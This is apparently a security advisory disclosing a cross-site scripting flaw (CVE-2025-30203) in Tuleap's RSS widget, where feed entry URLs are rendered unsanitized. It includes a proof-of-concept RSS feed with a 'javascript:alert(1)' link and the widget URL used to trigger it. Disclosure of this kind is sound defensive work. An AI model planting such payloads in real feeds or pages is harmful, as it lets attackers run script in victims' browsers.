The URLs of the entries of the feed are not sanitized before being rendered.

Impact

A project administrator or someone with control over an used RSS feed could use this vulnerability to force victims to execute uncontrolled code.

CVSSv3.1 score: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:L)

Exploitation

1. Have an RSS feed somewhere with the following content:

<?xml version='1.0' encoding='UTF-8'?>
<rss version="2.0" nsmap="{'atom': 'http://www.w3.org/2005/Atom', 'content': 'http://purl.org/rss/1.0/modules/content/'}">
    <channel>
        <title>XSS Feed</title>
        <docs>http://www.rssboard.org/rss-specification</docs>
        <item>
            <title>XSS Link</title>
            <link>javascript:alert(1)</link>
            <description>Desc</description>
        </item>
</channel>
</rss>

2. Create a RSS widget linking to it
3. Access directly to widget content (issue cannot be triggered in the dashboard page), via https://tuleap.example.com/widgets/?dashboard_id=<dashboard_id>&action=ajax&name%5B<myrss || projectrss>%5D=<widget_id> (replace the item between < and > with the appropriate values)

References

CWE 84
OWASP Cross-site Scripting
CVE-2025-30203